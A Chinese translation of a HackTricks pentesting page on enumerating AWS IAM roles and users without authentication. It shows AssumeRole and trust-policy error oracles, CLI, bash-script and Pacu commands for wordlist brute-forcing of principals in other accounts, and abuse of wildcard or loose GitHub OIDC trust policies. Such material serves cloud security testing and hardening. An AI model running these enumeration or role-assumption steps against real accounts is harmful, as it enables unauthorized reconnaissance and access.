AWS - IAM & STS Unauthenticated Enum

支持 HackTricks

枚举账户中的角色和用户名

假设角色暴力破解

此技术不再有效,因为无论角色是否存在,您总是会收到此错误:

发生错误 (AccessDenied) 在调用 AssumeRole 操作时:用户:arn:aws:iam::947247140022:user/testenv 无权执行:sts:AssumeRole 在资源上:arn:aws:iam::429217632764:role/account-balanceasdas

您可以通过运行以下命令进行测试

aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example

尝试在没有必要权限的情况下假设角色会触发 AWS 错误消息。例如,如果未授权,AWS 可能会返回:

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS

此消息确认角色的存在,但表明其假设角色策略不允许您进行假设。相反,尝试假设一个不存在的角色会导致不同的错误

An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole

有趣的是,这种区分现有角色和不存在角色的方法甚至适用于不同的AWS账户。只需一个有效的AWS账户ID和一个目标词汇表,就可以枚举该账户中存在的角色,而不会面临任何固有的限制。

您可以使用这个脚本来枚举潜在的主体来利用这个问题。

信任策略:暴力破解跨账户角色和用户

配置或更新IAM角色的信任策略涉及定义哪些AWS资源或服务被允许假设该角色并获取临时凭证。如果策略中指定的资源存在,则信任策略成功保存。然而,如果资源不存在,则会生成一个错误,指示提供了无效的主体。

请注意,在该资源中,您可以指定一个跨账户角色或用户:

  • arn:aws:iam::acc_id:role/role_name

  • arn:aws:iam::acc_id:user/user_name

这是一个策略示例:

{
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":
{
"AWS":"arn:aws:iam::216825089941:role\/Test"
},
"Action":"sts:AssumeRole"
}
]
}

GUI

如果您使用一个 不存在的角色,您将会发现这个 错误。如果角色 存在,策略将会 保存 而没有任何错误。(这个错误是针对更新的,但在创建时也适用)

CLI

### You could also use: aws iam update-assume-role-policy
# When it works
aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
{
"Role": {
"Path": "/",
"RoleName": "Test-Role",
"RoleId": "AROA5ZDCUJS3DVEIYOB73",
"Arn": "arn:aws:iam::947247140022:role/Test-Role",
"CreateDate": "2022-05-03T20:50:04Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::316584767888:role/account-balance"
},
"Action": [
"sts:AssumeRole"
]
}
]
}
}
}

# When it doesn't work
aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"

您可以使用 https://github.com/carlospolop/aws_tools 自动化此过程。

  • bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt

我们使用 Pacu

  • run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt

  • run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt

  • 示例中使用的 admin 角色是 您帐户中的一个角色,由 pacu 进行模拟 以创建其需要创建的策略以进行枚举。

Privesc

如果角色配置不当并允许任何人假设它:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}

攻击者可以直接假设它。

第三方 OIDC 联邦

想象一下,你设法读取了一个访问 AWS角色Github Actions 工作流。 这个信任可能会给予对具有以下 信任策略 的角色的访问:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}

这个信任策略可能是正确的,但缺乏更多条件应该让你对其产生不信任。 这是因为之前的角色可以被来自 Github Actions 的任何人假设!你应该在条件中指定其他内容,例如组织名称、仓库名称、环境、分支...

另一个潜在的错误配置是添加一个条件,如下所示:

"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
}

注意在冒号(:)之前的通配符(*)。您可以创建一个组织,例如org_name1并从Github Action中假设角色

参考文献

支持HackTricks

Last updated